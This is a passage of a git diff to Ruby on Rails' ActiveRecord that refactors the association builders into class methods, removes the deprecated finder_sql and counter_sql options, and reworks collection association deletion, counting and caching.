+ extension.build model, reflection
+ end
+ end
+
+ # Defines the setter and getter methods for the association
+ # class Post < ActiveRecord::Base
+ # has_many :comments
+ # end
+ #
+ # Post.first.comments and Post.first.comments= methods are defined by this method...
+ def self.define_accessors(model, reflection)
+ mixin = model.generated_association_methods
+ name = reflection.name
+ define_readers(mixin, name)
+ define_writers(mixin, name)
end
- def define_readers
+ def self.define_readers(mixin, name)
mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
def #{name}(*args)
association(:#{name}).reader(*args)
@@ -72,7 +117,7 @@ module ActiveRecord::Associations::Builder
CODE
end
- def define_writers
+ def self.define_writers(mixin, name)
mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
def #{name}=(value)
association(:#{name}).writer(value)
@@ -80,29 +125,25 @@ module ActiveRecord::Associations::Builder
CODE
end
- def configure_dependency
- unless valid_dependent_options.include? options[:dependent]
- raise ArgumentError, "The :dependent option must be one of #{valid_dependent_options}, but is :#{options[:dependent]}"
- end
+ def self.define_validations(model, reflection)
+ # noop
+ end
- if options[:dependent] == :restrict
- ActiveSupport::Deprecation.warn(
- "The :restrict option is deprecated. Please use :restrict_with_exception instead, which " \
- "provides the same functionality."
- )
- end
+ def self.valid_dependent_options
+ raise NotImplementedError
+ end
- mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
- def #{macro}_dependent_for_#{name}
- association(:#{name}).handle_dependency
- end
- CODE
+ private
- model.before_destroy "#{macro}_dependent_for_#{name}"
+ def self.check_dependent_options(dependent)
+ unless valid_dependent_options.include? dependent
+ raise ArgumentError, "The :dependent option must be one of #{valid_dependent_options}, but is :#{dependent}"
+ end
end
- def valid_dependent_options
- raise NotImplementedError
+ def self.add_destroy_callbacks(model, reflection)
+ name = reflection.name
+ model.before_destroy lambda { |o| o.association(name).handle_dependency }
end
end
end
diff --git a/activerecord/lib/active_record/associations/builder/belongs_to.rb b/activerecord/lib/active_record/associations/builder/belongs_to.rb
index 2f2600b7fb..954ea3878a 100644
--- a/activerecord/lib/active_record/associations/builder/belongs_to.rb
+++ b/activerecord/lib/active_record/associations/builder/belongs_to.rb
@@ -5,62 +5,112 @@ module ActiveRecord::Associations::Builder
end
def valid_options
- super + [:foreign_type, :polymorphic, :touch]
+ super + [:foreign_type, :polymorphic, :touch, :counter_cache]
end
- def constructable?
- !options[:polymorphic]
+ def self.valid_dependent_options
+ [:destroy, :delete]
end
- def build
- reflection = super
- add_counter_cache_callbacks(reflection) if options[:counter_cache]
- add_touch_callbacks(reflection) if options[:touch]
- reflection
+ def self.define_callbacks(model, reflection)
+ super
+ add_counter_cache_callbacks(model, reflection) if reflection.options[:counter_cache]
+ add_touch_callbacks(model, reflection) if reflection.options[:touch]
end
- def add_counter_cache_callbacks(reflection)
- cache_column = reflection.counter_cache_column
+ def self.define_accessors(mixin, reflection)
+ super
+ add_counter_cache_methods mixin
+ end
- mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
- def belongs_to_counter_cache_after_create_for_#{name}
- record = #{name}
- record.class.increment_counter(:#{cache_column}, record.id) unless record.nil?
- end
+ private
+
+ def self.add_counter_cache_methods(mixin)
+ return if mixin.method_defined? :belongs_to_counter_cache_after_update
- def belongs_to_counter_cache_before_destroy_for_#{name}
- unless marked_for_destruction?
- record = #{name}
- record.class.decrement_counter(:#{cache_column}, record.id) unless record.nil?
+ mixin.class_eval do
+ def belongs_to_counter_cache_after_update(reflection)
+ foreign_key = reflection.foreign_key
+ cache_column = reflection.counter_cache_column
+
+ if (@_after_create_counter_called ||= false)
+ @_after_create_counter_called = false
+ elsif attribute_changed?(foreign_key) && !new_record? && reflection.constructable?
+ model = reflection.klass
+ foreign_key_was = attribute_was foreign_key
+ foreign_key = attribute foreign_key
+
+ if foreign_key && model.respond_to?(:increment_counter)
+ model.increment_counter(cache_column, foreign_key)
+ end
+ if foreign_key_was && model.respond_to?(:decrement_counter)
+ model.decrement_counter(cache_column, foreign_key_was)
+ end
end
end
- CODE
+ end
+ end
+
+ def self.add_counter_cache_callbacks(model, reflection)
+ cache_column = reflection.counter_cache_column
- model.after_create "belongs_to_counter_cache_after_create_for_#{name}"
- model.before_destroy "belongs_to_counter_cache_before_destroy_for_#{name}"
+ model.after_update lambda { |record|
+ record.belongs_to_counter_cache_after_update(reflection)
+ }
klass = reflection.class_name.safe_constantize
klass.attr_readonly cache_column if klass && klass.respond_to?(:attr_readonly)
end
- def add_touch_callbacks(reflection)
- mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
- def belongs_to_touch_after_save_or_destroy_for_#{name}
- record = #{name}
+ def self.touch_record(o, foreign_key, name, touch) # :nodoc:
+ old_foreign_id = o.changed_attributes[foreign_key]
+
+ if old_foreign_id
+ association = o.association(name)
+ reflection = association.reflection
+ if reflection.polymorphic?
+ klass = o.public_send("#{reflection.foreign_type}_was").constantize
+ else
+ klass = association.klass
+ end
+ old_record = klass.find_by(klass.primary_key => old_foreign_id)
- unless record.nil?
- record.touch #{options[:touch].inspect if options[:touch] != true}
+ if old_record
+ if touch != true
+ old_record.touch touch
+ else
+ old_record.touch
end
end
- CODE
+ end
- model.after_save "belongs_to_touch_after_save_or_destroy_for_#{name}"
- model.after_touch "belongs_to_touch_after_save_or_destroy_for_#{name}"
- model.after_destroy "belongs_to_touch_after_save_or_destroy_for_#{name}"
+ record = o.send name
+ if record && record.persisted?
+ if touch != true
+ record.touch touch
+ else
+ record.touch
+ end
+ end
end
- def valid_dependent_options
- [:destroy, :delete]
+ def self.add_touch_callbacks(model, reflection)
+ foreign_key = reflection.foreign_key
+ n = reflection.name
+ touch = reflection.options[:touch]
+
+ callback = lambda { |record|
+ BelongsTo.touch_record(record, foreign_key, n, touch)
+ }
+
+ model.after_save callback, if: :changed?
+ model.after_touch callback
+ model.after_destroy callback
+ end
+
+ def self.add_destroy_callbacks(model, reflection)
+ name = reflection.name
+ model.after_destroy lambda { |o| o.association(name).handle_dependency }
end
end
end
diff --git a/activerecord/lib/active_record/associations/builder/collection_association.rb b/activerecord/lib/active_record/associations/builder/collection_association.rb
index fcdfc1e150..bc15a49996 100644
--- a/activerecord/lib/active_record/associations/builder/collection_association.rb
+++ b/activerecord/lib/active_record/associations/builder/collection_association.rb
@@ -1,3 +1,5 @@
+# This class is inherited by the has_many and has_many_and_belongs_to_many association classes
+
require 'active_record/associations'
module ActiveRecord::Associations::Builder
@@ -6,66 +8,57 @@ module ActiveRecord::Associations::Builder
CALLBACKS = [:before_add, :after_add, :before_remove, :after_remove]
def valid_options
- super + [:table_name, :finder_sql, :counter_sql, :before_add, :after_add, :before_remove, :after_remove]
+ super + [:table_name, :before_add,
+ :after_add, :before_remove, :after_remove, :extend]
end
- attr_reader :block_extension, :extension_module
-
- def initialize(*args, &extension)
- super(*args)
- @block_extension = extension
- end
+ attr_reader :block_extension
- def build
- show_deprecation_warnings
- wrap_block_extension
- reflection = super
- CALLBACKS.each { |callback_name| define_callback(callback_name) }
- reflection
+ def initialize(model, name, scope, options)
+ super
+ @mod = nil
+ if block_given?
+ @mod = Module.new(&Proc.new)
+ @scope = wrap_scope @scope, @mod
+ end
end
- def writable?
- true
+ def self.define_callbacks(model, reflection)
+ super
+ name = reflection.name
+ options = reflection.options
+ CALLBACKS.each { |callback_name|
+ define_callback(model, callback_name, name, options)
+ }
end
- def show_deprecation_warnings
- [:finder_sql, :counter_sql].each do |name|
- if options.include? name
- ActiveSupport::Deprecation.warn("The :#{name} association option is deprecated. Please find an alternative (such as using scopes).")
- end
+ def define_extensions(model)
+ if @mod
+ extension_module_name = "#{model.name.demodulize}#{name.to_s.camelize}AssociationExtension"
+ model.parent.const_set(extension_module_name, @mod)
end
end
- def wrap_block_extension
- if block_extension
- @extension_module = mod = Module.new(&block_extension)
- silence_warnings do
- model.parent.const_set(extension_module_name, mod)
- end
-
- prev_scope = @scope
+ def self.define_callback(model, callback_name, name, options)
+ full_callback_name = "#{callback_name}_for_#{name}"
- if prev_scope
- @scope = proc { |owner| instance_exec(owner, &prev_scope).extending(mod) }
+ # TODO : why do i need method_defined? I think its because of the inheritance chain
+ model.class_attribute full_callback_name unless model.method_defined?(full_callback_name)
+ callbacks = Array(options[callback_name.to_sym]).map do |callback|
+ case callback
+ when Symbol
+ ->(method, owner, record) { owner.send(callback, record) }
+ when Proc
+ ->(method, owner, record) { callback.call(owner, record) }
else
- @scope = proc { extending(mod) }
+ ->(method, owner, record) { callback.send(method, owner, record) }
end
end
+ model.send "#{full_callback_name}=", callbacks
end
- def extension_module_name
- @extension_module_name ||= "#{model.name.demodulize}#{name.to_s.camelize}AssociationExtension"
- end
-
- def define_callback(callback_name)
- full_callback_name = "#{callback_name}_for_#{name}"
-
- # TODO : why do i need method_defined? I think its because of the inheritance chain
- model.class_attribute full_callback_name.to_sym unless model.method_defined?(full_callback_name)
- model.send("#{full_callback_name}=", Array(options[callback_name.to_sym]))
- end
-
- def define_readers
+ # Defines the setter and getter methods for the collection_singular_ids.
+ def self.define_readers(mixin, name)
super
mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
@@ -75,7 +68,7 @@ module ActiveRecord::Associations::Builder
CODE
end
- def define_writers
+ def self.define_writers(mixin, name)
super
mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
@@ -84,5 +77,15 @@ module ActiveRecord::Associations::Builder
end
CODE
end
+
+ private
+
+ def wrap_scope(scope, mod)
+ if scope
+ proc { |owner| instance_exec(owner, &scope).extending(mod) }
+ else
+ proc { extending(mod) }
+ end
+ end
end
end
diff --git a/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb b/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb
index bdac02b5bf..092b4ebd2f 100644
--- a/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb
+++ b/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb
@@ -1,39 +1,124 @@
module ActiveRecord::Associations::Builder
- class HasAndBelongsToMany < CollectionAssociation #:nodoc:
- def macro
- :has_and_belongs_to_many
- end
+ class HasAndBelongsToMany # :nodoc:
+ class JoinTableResolver
+ KnownTable = Struct.new :join_table
+
+ class KnownClass
+ def initialize(lhs_class, rhs_class_name)
+ @lhs_class = lhs_class
+ @rhs_class_name = rhs_class_name
+ @join_table = nil
+ end
+
+ def join_table
+ @join_table ||= [@lhs_class.table_name, klass.table_name].sort.join("\0").gsub(/^(.*[._])(.+)\0\1(.+)/, '\1\2_\3').tr("\0", "_")
+ end
+
+ private
+
+ def klass
+ @lhs_class.send(:compute_type, @rhs_class_name)
+ end
+ end
- def valid_options
- super + [:join_table, :association_foreign_key, :delete_sql, :insert_sql]
+ def self.build(lhs_class, name, options)
+ if options[:join_table]
+ KnownTable.new options[:join_table].to_s
+ else
+ class_name = options.fetch(:class_name) {
+ name.to_s.camelize.singularize
+ }
+ KnownClass.new lhs_class, class_name
+ end
+ end
end
- def build
- reflection = super
- define_destroy_hook
- reflection
+ attr_reader :lhs_model, :association_name, :options
+
+ def initialize(association_name, lhs_model, options)
+ @association_name = association_name
+ @lhs_model = lhs_model
+ @options = options
end
- def show_deprecation_warnings
- super
+ def through_model
+ habtm = JoinTableResolver.build lhs_model, association_name, options
+
+ join_model = Class.new(ActiveRecord::Base) {
+ class << self;
+ attr_accessor :class_resolver
+ attr_accessor :name
+ attr_accessor :table_name_resolver
+ attr_accessor :left_reflection
+ attr_accessor :right_reflection
+ end
+
+ def self.table_name
+ table_name_resolver.join_table
+ end
- [:delete_sql, :insert_sql].each do |name|
- if options.include? name
- ActiveSupport::Deprecation.warn("The :#{name} association option is deprecated. Please find an alternative (such as using has_many :through).")
+ def self.compute_type(class_name)
+ class_resolver.compute_type class_name
end
+
+ def self.add_left_association(name, options)
+ belongs_to name, options
+ self.left_reflection = _reflect_on_association(name)
+ end
+
+ def self.add_right_association(name, options)
+ rhs_name = name.to_s.singularize.to_sym
+ belongs_to rhs_name, options
+ self.right_reflection = _reflect_on_association(rhs_name)
+ end
+
+ }
+
+ join_model.name = "HABTM_#{association_name.to_s.camelize}"
+ join_model.table_name_resolver = habtm
+ join_model.class_resolver = lhs_model
+
+ join_model.add_left_association :left_side, class: lhs_model
+ join_model.add_right_association association_name, belongs_to_options(options)
+ join_model
+ end
+
+ def middle_reflection(join_model)
+ middle_name = [lhs_model.name.downcase.pluralize,
+ association_name].join('_').gsub(/::/, '_').to_sym
+ middle_options = middle_options join_model
+ hm_builder = HasMany.create_builder(lhs_model,
+ middle_name,
+ nil,
+ middle_options)
+ hm_builder.build lhs_model
+ end
+
+ private
+
+ def middle_options(join_model)
+ middle_options = {}
+ middle_options[:class_name] = "#{lhs_model.name}::#{join_model.name}"
+ middle_options[:source] = join_model.left_reflection.name
+ if options.key? :foreign_key
+ middle_options[:foreign_key] = options[:foreign_key]
end
+ middle_options
end
- def define_destroy_hook
- name = self.name
- model.send(:include, Module.new {
- class_eval <<-RUBY, __FILE__, __LINE__ + 1
- def destroy_associations
- association(:#{name}).delete_all
- super
- end
- RUBY
- })
+ def belongs_to_options(options)
+ rhs_options = {}
+
+ if options.key? :class_name
+ rhs_options[:foreign_key] = options[:class_name].to_s.foreign_key
+ rhs_options[:class_name] = options[:class_name]
+ end
+
+ if options.key? :association_foreign_key
+ rhs_options[:foreign_key] = options[:association_foreign_key]
+ end
+
+ rhs_options
end
end
end
diff --git a/activerecord/lib/active_record/associations/builder/has_many.rb b/activerecord/lib/active_record/associations/builder/has_many.rb
index 0d1bdd21ee..4c8c826f76 100644
--- a/activerecord/lib/active_record/associations/builder/has_many.rb
+++ b/activerecord/lib/active_record/associations/builder/has_many.rb
@@ -5,11 +5,11 @@ module ActiveRecord::Associations::Builder
end
def valid_options
- super + [:primary_key, :dependent, :as, :through, :source, :source_type, :inverse_of, :counter_cache]
+ super + [:primary_key, :dependent, :as, :through, :source, :source_type, :inverse_of, :counter_cache, :join_table]
end
- def valid_dependent_options
- [:destroy, :delete_all, :nullify, :restrict, :restrict_with_error, :restrict_with_exception]
+ def self.valid_dependent_options
+ [:destroy, :delete_all, :nullify, :restrict_with_error, :restrict_with_exception]
end
end
end
diff --git a/activerecord/lib/active_record/associations/builder/has_one.rb b/activerecord/lib/active_record/associations/builder/has_one.rb
index 0da564f402..c194c8ae9a 100644
--- a/activerecord/lib/active_record/associations/builder/has_one.rb
+++ b/activerecord/lib/active_record/associations/builder/has_one.rb
@@ -5,21 +5,19 @@ module ActiveRecord::Associations::Builder
end
def valid_options
- valid = super + [:order, :as]
+ valid = super + [:as]
valid += [:through, :source, :source_type] if options[:through]
valid
end
- def constructable?
- !options[:through]
+ def self.valid_dependent_options
+ [:destroy, :delete, :nullify, :restrict_with_error, :restrict_with_exception]
end
- def configure_dependency
- super unless options[:through]
- end
+ private
- def valid_dependent_options
- [:destroy, :delete, :nullify, :restrict, :restrict_with_error, :restrict_with_exception]
+ def self.add_destroy_callbacks(model, reflection)
+ super unless reflection.options[:through]
end
end
end
diff --git a/activerecord/lib/active_record/associations/builder/singular_association.rb b/activerecord/lib/active_record/associations/builder/singular_association.rb
index 6a5830e57f..6e6dd7204c 100644
--- a/activerecord/lib/active_record/associations/builder/singular_association.rb
+++ b/activerecord/lib/active_record/associations/builder/singular_association.rb
@@ -1,19 +1,18 @@
+# This class is inherited by the has_one and belongs_to association classes
+
module ActiveRecord::Associations::Builder
class SingularAssociation < Association #:nodoc:
def valid_options
- super + [:remote, :dependent, :counter_cache, :primary_key, :inverse_of]
- end
-
- def constructable?
- true
+ super + [:dependent, :primary_key, :inverse_of, :required]
end
- def define_accessors
+ def self.define_accessors(model, reflection)
super
- define_constructors if constructable?
+ define_constructors(model.generated_association_methods, reflection.name) if reflection.constructable?
end
- def define_constructors
+ # Defines the (build|create)_association methods for belongs_to or has_one association
+ def self.define_constructors(mixin, name)
mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
def build_#{name}(*args, &block)
association(:#{name}).build(*args, &block)
@@ -28,5 +27,12 @@ module ActiveRecord::Associations::Builder
end
CODE
end
+
+ def self.define_validations(model, reflection)
+ super
+ if reflection.options[:required]
+ model.validates_presence_of reflection.name
+ end
+ end
end
end
diff --git a/activerecord/lib/active_record/associations/collection_association.rb b/activerecord/lib/active_record/associations/collection_association.rb
index 832b963052..7b6aefe345 100644
--- a/activerecord/lib/active_record/associations/collection_association.rb
+++ b/activerecord/lib/active_record/associations/collection_association.rb
@@ -4,10 +4,9 @@ module ActiveRecord
#
# CollectionAssociation is an abstract class that provides common stuff to
# ease the implementation of association proxies that represent
- # collections. See the class hierarchy in AssociationProxy.
+ # collections. See the class hierarchy in Association.
#
# CollectionAssociation:
- # HasAndBelongsToManyAssociation => has_and_belongs_to_many
# HasManyAssociation => has_many
# HasManyThroughAssociation + ThroughAssociation => has_many :through
#
@@ -34,7 +33,13 @@ module ActiveRecord
reload
end
- CollectionProxy.new(klass, self)
+ if owner.new_record?
+ # Cache the proxy separately before the owner has an id
+ # or else a post-save proxy will still lack the id
+ @new_record_proxy ||= CollectionProxy.create(klass, self)
+ else
+ @proxy ||= CollectionProxy.create(klass, self)
+ end
end
# Implements the writer method, e.g. foo.items= for Foo.has_many :items
@@ -44,7 +49,7 @@ module ActiveRecord
# Implements the ids reader method, e.g. foo.item_ids for Foo.has_many :items
def ids_reader
- if loaded? || options[:finder_sql]
+ if loaded?
load_target.map do |record|
record.send(reflection.association_primary_key)
end
@@ -56,10 +61,10 @@ module ActiveRecord
# Implements the ids writer method, e.g. foo.item_ids= for Foo.has_many :items
def ids_writer(ids)
- pk_column = reflection.primary_key_column
- ids = Array(ids).reject { |id| id.blank? }
- ids.map! { |i| pk_column.type_cast(i) }
- replace(klass.find(ids).index_by { |r| r.id }.values_at(*ids))
+ pk_type = reflection.primary_key_type
+ ids = Array(ids).reject(&:blank?)
+ ids.map! { |i| pk_type.type_cast_from_user(i) }
+ replace(klass.find(ids).index_by(&:id).values_at(*ids))
end
def reset
@@ -67,11 +72,11 @@ module ActiveRecord
@target = []
end
- def select(select = nil)
+ def select(*fields)
if block_given?
load_target.select.each { |e| yield e }
else
- scope.select(select)
+ scope.select(*fields)
end
end
@@ -79,8 +84,17 @@ module ActiveRecord
if block_given?
load_target.find(*args) { |*block_args| yield(*block_args) }
else
- if options[:finder_sql]
- find_by_scan(*args)
+ if options[:inverse_of] && loaded?
+ args_flatten = args.flatten
+ raise RecordNotFound, "Couldn't find #{scope.klass.name} without an ID" if args_flatten.blank?
+ result = find_by_scan(*args)
+
+ result_size = Array(result).size
+ if !result || result_size != args_flatten.size
+ scope.raise_record_not_found_exception!(args_flatten, result_size, args_flatten.size)
+ else
+ result
+ end
else
scope.find(*args)
end
@@ -88,11 +102,31 @@ module ActiveRecord
end
def first(*args)
- first_or_last(:first, *args)
+ first_nth_or_last(:first, *args)
+ end
+
+ def second(*args)
+ first_nth_or_last(:second, *args)
+ end
+
+ def third(*args)
+ first_nth_or_last(:third, *args)
+ end
+
+ def fourth(*args)
+ first_nth_or_last(:fourth, *args)
+ end
+
+ def fifth(*args)
+ first_nth_or_last(:fifth, *args)
+ end
+
+ def forty_two(*args)
+ first_nth_or_last(:forty_two, *args)
end
def last(*args)
- first_or_last(:last, *args)
+ first_nth_or_last(:last, *args)
end
def build(attributes = {}, &block)
@@ -106,20 +140,19 @@ module ActiveRecord
end
def create(attributes = {}, &block)
- create_record(attributes, &block)
+ _create_record(attributes, &block)
end
def create!(attributes = {}, &block)
- create_record(attributes, true, &block)
+ _create_record(attributes, true, &block)
end
# Add +records+ to this association. Returns +self+ so method calls may
# be chained. Since << flattens its argument list and inserts each record,
# +push+ and +concat+ behave identically.
def concat(*records)
- load_target if owner.new_record?
-
if owner.new_record?
+ load_target
concat_records(records)
else
transaction { concat_records(records) }
@@ -141,11 +174,33 @@ module ActiveRecord
end
end
- # Remove all records from this association.
+ # Removes all records from the association without calling callbacks
+ # on the associated records. It honors the +:dependent+ option. However
+ # if the +:dependent+ value is +:destroy+ then in that case the +:delete_all+
+ # deletion strategy for the association is applied.
+ #
+ # You can force a particular deletion strategy by passing a parameter.
+ #
+ # Example:
+ #
+ # @author.books.delete_all(:nullify)
+ # @author.books.delete_all(:delete_all)
#
# See delete for more info.
- def delete_all
- delete(:all).tap do
+ def delete_all(dependent = nil)
+ if dependent && ![:nullify, :delete_all].include?(dependent)
+ raise ArgumentError, "Valid values are :nullify or :delete_all"
+ end
+
+ dependent = if dependent
+ dependent
+ elsif options[:dependent] == :destroy
+ :delete_all
+ else
+ options[:dependent]
+ end
+
+ delete_or_nullify_all_records(dependent).tap do
reset
loaded!
end
@@ -161,35 +216,29 @@ module ActiveRecord
end
end
- # Count all records using SQL. If the +:counter_sql+ or +:finder_sql+ option is set for the
- # association, it will be used for the query. Otherwise, construct options and pass them with
+ # Count all records using SQL. Construct options and pass them with
# scope to the target class's +count+.
def count(column_name = nil, count_options = {})
+ # TODO: Remove count_options argument as soon we remove support to
+ # activerecord-deprecated_finders.
column_name, count_options = nil, column_name if column_name.is_a?(Hash)
- if options[:counter_sql] || options[:finder_sql]
- unless count_options.blank?
- raise ArgumentError, "If finder_sql/counter_sql is used then options cannot be passed"
- end
-
- reflection.klass.count_by_sql(custom_counter_sql)
- else
- if association_scope.uniq_value
- # This is needed because 'SELECT count(DISTINCT *)..' is not valid SQL.
- column_name ||= reflection.klass.primary_key
- count_options[:distinct] = true
- end
+ relation = scope
+ if association_scope.distinct_value
+ # This is needed because 'SELECT count(DISTINCT *)..' is not valid SQL.
+ column_name ||= reflection.klass.primary_key
+ relation = relation.distinct
+ end
- value = scope.count(column_name, count_options)
+ value = relation.count(column_name)
- limit = options[:limit]
- offset = options[:offset]
+ limit = options[:limit]
+ offset = options[:offset]
- if limit || offset
- [ [value - offset.to_i, 0].max, limit.to_i ].min
- else
- value
- end
+ if limit || offset
+ [ [value - offset.to_i, 0].max, limit.to_i ].min
+ else
+ value
end
end
@@ -201,26 +250,21 @@ module ActiveRecord
# are actually removed from the database, that depends precisely on
# +delete_records+. They are in any case removed from the collection.
def delete(*records)
- dependent = options[:dependent]
+ return if records.empty?
+ _options = records.extract_options!
+ dependent = _options[:dependent] || options[:dependent]
- if records.first == :all
- if loaded? || dependent == :destroy
- delete_or_destroy(load_target, dependent)
- else
- delete_records(:all, dependent)
- end
- else
- records = find(records) if records.any? { |record| record.kind_of?(Fixnum) || record.kind_of?(String) }
- delete_or_destroy(records, dependent)
- end
+ records = find(records) if records.any? { |record| record.kind_of?(Fixnum) || record.kind_of?(String) }
+ delete_or_destroy(records, dependent)
end
- # Destroy +records+ and remove them from this association calling
- # +before_remove+ and +after_remove+ callbacks.
+ # Deletes the +records+ and removes them from this association calling
+ # +before_remove+ , +after_remove+ , +before_destroy+ and +after_destroy+ callbacks.
#
- # Note that this method will _always_ remove records from the database
- # ignoring the +:dependent+ option.
+ # Note that this method removes records from the database ignoring the
+ # +:dependent+ option.
def destroy(*records)
+ return if records.empty?
records = find(records) if records.any? { |record| record.kind_of?(Fixnum) || record.kind_of?(String) }
delete_or_destroy(records, :destroy)
end
@@ -237,15 +281,15 @@ module ActiveRecord
# +count_records+, which is a method descendants have to provide.
def size
if !find_target? || loaded?
- if association_scope.uniq_value
+ if association_scope.distinct_value
target.uniq.size
else
target.size
end
elsif !loaded? && !association_scope.group_values.empty?
load_target.size
- elsif !loaded? && !association_scope.uniq_value && target.is_a?(Array)
- unsaved_records = target.select { |r| r.new_record? }
+ elsif !loaded? && !association_scope.distinct_value && target.is_a?(Array)
+ unsaved_records = target.select(&:new_record?)
unsaved_records.size + count_records
else
count_records
@@ -263,17 +307,17 @@ module ActiveRecord
# Returns true if the collection is empty.
#
- # If the collection has been loaded or the <tt>:counter_sql</tt> option
- # is provided, it is equivalent to <tt>collection.size.zero?</tt>. If the
+ # If the collection has been loaded
+ # it is equivalent to <tt>collection.size.zero?</tt>. If the
# collection has not been loaded, it is equivalent to
# <tt>collection.exists?</tt>. If the collection has not already been
# loaded and you are going to fetch the records anyway it is better to
# check <tt>collection.length.zero?</tt>.
def empty?
- if loaded? || options[:counter_sql]
+ if loaded?
size.zero?
else
- !scope.exists?
+ @target.blank? && !scope.exists?
end
end
@@ -297,23 +341,27 @@ module ActiveRecord
end
end
- def uniq
+ def distinct
seen = {}
load_target.find_all do |record|
seen[record.id] = true unless seen.key?(record.id)
end
end
+ alias uniq distinct
# Replace this collection with +other_array+. This will perform a diff
# and delete/add only records that have changed.
def replace(other_array)
- other_array.each { |val| raise_on_type_mismatch(val) }
+ other_array.each { |val| raise_on_type_mismatch!(val) }
original_target = load_target.dup
if owner.new_record?
replace_records(other_array, original_target)
else
- transaction { replace_records(other_array, original_target) }
+ replace_common_records_in_memory(other_array, original_target)
+ if other_array != original_target
+ transaction { replace_records(other_array, original_target) }
+ end
end
end
@@ -322,8 +370,7 @@ module ActiveRecord
if record.new_record?
include_in_memory?(record)
else
- load_target if options[:finder_sql]
- loaded? ? target.include?(record) : scope.exists?(record)
+ loaded? ? target.include?(record) : scope.exists?(record.id)
end
else
false
@@ -339,17 +386,24 @@ module ActiveRecord
target
end
- def add_to_target(record)
- callback(:before_add, record)
+ def add_to_target(record, skip_callbacks = false, &block)
+ if association_scope.distinct_value
+ index = @target.index(record)
+ end
+ replace_on_target(record, index, skip_callbacks, &block)
+ end
+
+ def replace_on_target(record, index, skip_callbacks)
+ callback(:before_add, record) unless skip_callbacks
yield(record) if block_given?
- if association_scope.uniq_value && index = @target.index(record)
+ if index
@target[index] = record
else
@target << record
end
- callback(:after_add, record)
+ callback(:after_add, record) unless skip_callbacks
set_inverse_instance(record)
record
@@ -366,32 +420,29 @@ module ActiveRecord
end
private
+ def get_records
+ if reflection.scope_chain.any?(&:any?) ||
+ scope.eager_loading? ||
+ klass.current_scope ||
+ klass.default_scopes.any?
- def custom_counter_sql
- if options[:counter_sql]
- interpolate(options[:counter_sql])
- else
- # replace the SELECT clause with COUNT(SELECTS), preserving any hints within /* ... */
- interpolate(options[:finder_sql]).sub(/SELECT\b(\/\*.*?\*\/ )?(.*)\bFROM\b/im) do
- count_with = $2.to_s
- count_with = '*' if count_with.blank? || count_with =~ /,/ || count_with =~ /\.\*/
- "SELECT #{$1}COUNT(#{count_with}) FROM"
- end
- end
+ return scope.to_a
end
- def custom_finder_sql
- interpolate(options[:finder_sql])
+ conn = klass.connection
+ sc = reflection.association_scope_cache(conn, owner) do
+ StatementCache.create(conn) { |params|
+ as = AssociationScope.create { params.bind }
+ target_scope.merge as.scope(self, conn)
+ }
end
- def find_target
- records =
- if options[:finder_sql]
- reflection.klass.find_by_sql(custom_finder_sql)
- else
- scope.to_a
- end
+ binds = AssociationScope.get_bind_values(owner, reflection.chain)
+ sc.execute binds, klass, klass.connection
+ end
+ def find_target
+ records = get_records
records.each { |record| set_inverse_instance(record) }
records
end
@@ -426,13 +477,13 @@ module ActiveRecord
persisted + memory
end
- def create_record(attributes, raise = false, &block)
+ def _create_record(attributes, raise = false, &block)
unless owner.persisted?
raise ActiveRecord::RecordNotSaved, "You cannot call create unless the parent is saved"
end
if attributes.is_a?(Array)
- attributes.collect { |attr| create_record(attr, raise, &block) }
+ attributes.collect { |attr| _create_record(attr, raise, &block) }
else
transaction do
add_to_target(build_record(attributes)) do |record|
@@ -454,8 +505,8 @@ module ActiveRecord
def delete_or_destroy(records, method)
records = records.flatten
- records.each { |record| raise_on_type_mismatch(record) }
- existing_records = records.reject { |r| r.new_record? }
+ records.each { |record| raise_on_type_mismatch!(record) }
+ existing_records = records.reject(&:new_record?)
if existing_records.empty?
remove_records(existing_records, records, method)
@@ -491,13 +542,21 @@ module ActiveRecord
target
end
- def concat_records(records)
+ def replace_common_records_in_memory(new_target, original_target)
+ common_records = new_target & original_target
+ common_records.each do |record|
+ skip_callbacks = true
+ replace_on_target(record, @target.index(record), skip_callbacks)
+ end
+ end
+
+ def concat_records(records, should_raise = false)
result = true
records.flatten.each do |record|
- raise_on_type_mismatch(record)
- add_to_target(record) do |r|
- result &&= insert_record(record) unless owner.new_record?
+ raise_on_type_mismatch!(record)
+ add_to_target(record) do |rec|
+ result &&= insert_record(rec, true, should_raise) unless owner.new_record?
end
end
@@ -506,20 +565,13 @@ module ActiveRecord
def callback(method, record)
callbacks_for(method).each do |callback|
- case callback
- when Symbol
- owner.send(callback, record)
- when Proc
- callback.call(owner, record)
- else
- callback.send(method, owner, record)
- end
+ callback.call(method, owner, record)
end
end
def callbacks_for(callback_name)
full_callback_name = "#{callback_name}_for_#{reflection.name}"
- owner.class.send(full_callback_name.to_sym) || []
+ owner.class.send(full_callback_name)
end
# Should we deal with assoc.first or assoc.last by issuing an independent query to
@@ -530,24 +582,21 @@ module ActiveRecord
# Otherwise, go to the database only if none of the following are true:
# * target already loaded
# * owner is new record
- # * custom :finder_sql exists
# * target contains new or changed record(s)
- # * the first arg is an integer (which indicates the number of records to be returned)
- def fetch_first_or_last_using_find?(args)
+ def fetch_first_nth_or_last_using_find?(args)
if args.first.is_a?(Hash)
true
else
!(loaded? ||
owner.new_record? ||
- options[:finder_sql] ||
- target.any? { |record| record.new_record? || record.changed? } ||
- args.first.kind_of?(Integer))
+ target.any? { |record| record.new_record? || record.changed? })
end
end
def include_in_memory?(record)
if reflection.is_a?(ActiveRecord::Reflection::ThroughReflection)
- owner.send(reflection.through_reflection.name).any? { |source|
+ assoc = owner.association(reflection.through_reflection.name)
+ assoc.reader.any? { |source|
target = source.send(reflection.source_reflection.name)
target.respond_to?(:include?) ? target.include?(record) : target == record
} || target.include?(record)
@@ -556,25 +605,26 @@ module ActiveRecord
end
end
- # If using a custom finder_sql, #find scans the entire collection.
+ # If the :inverse_of option has been
+ # specified, then #find scans the entire collection.
def find_by_scan(*args)
